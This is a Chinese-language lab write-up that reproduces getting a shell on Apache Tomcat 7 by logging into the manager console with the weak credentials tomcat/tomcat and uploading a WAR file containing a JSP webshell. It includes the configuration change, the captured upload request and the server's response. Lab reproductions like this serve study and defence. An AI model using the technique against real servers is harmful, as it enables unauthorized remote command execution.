Tomcat 上传GetShell
0x01 前言
其实这不算是洞，只能说是因为弱口令导致的可登录后台，且通过后台上传打包好的webshell的war包进行getshell。
0x02 环境准备
os:Windows10
server:Apache-tomcat-7.0.10-windows-x64
修改conf/tomcat-user.xml文件
<role rolename="manager-gui"/>
<role rolename="manager-script"/>
<role rolename="manager-jmx"/>
<role rolename="manager-status"/>
<role rolename="admin-gui"/>
<role rolename="admin-script"/>
<user username="tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" />
启动tomcat
catalina.bat start
编译包含有webshell.jsp的war包（可以用idea或者eclipse或者jar直接打包）
0x03 利用复现
访问tomcat后台，输入用户名密码tomcat/tomcat
http://localhost:8081/manager/html
选择编译好的war包进行上传，并选择deploy部署war包
可以看到上传完成之后的是jspwebshell
点击访问该链接，并执行命webshell命令
请求数据包
POST /manager/html/upload?org.apache.catalina.filters.CSRF_NONCE=5DBB88101F6A2FE3465F9EF8720E4644 HTTP/1.1
Host: 10.100.19.108:8081
Content-Length: 1233
Cache-Control: max-age=0
Authorization: Basic dG9tY2F0OnRvbWNhdA==
Upgrade-Insecure-Requests: 1
Origin: http://10.100.19.108:8081
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryLv6yOjUccf41n2M1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://10.100.19.108:8081/manager/html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=E45D9B11B3C556C53687D94C13C5851A; JSESSIONID=CFA09220BDD6F7716289CDBB96B18FD8
Connection: close
------WebKitFormBoundaryLv6yOjUccf41n2M1
Content-Disposition: form-data; name="deployWar"; filename="JspWebShell.war"
Content-Type: application/octet-stream
...
返回包
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=utf-8
Date: Tue, 20 Oct 2020 12:39:52 GMT
Connection: close
Content-Length: 17326
...
<table cellspacing="4" border="0">
<tr>
<td class="page-title" bordercolor="#000000" align="left" nowrap>
<font size="+2">Tomcat Web Application Manager</font>
</td>
</tr>
</table>
<br>
...
<table border="1" cellspacing="0" cellpadding="3">
<tr>
<td class="row-left" width="10%"><small><strong>Message:</strong></small> </td>
<td class="row-left"><pre>OK</pre></td>
</tr>
</table>
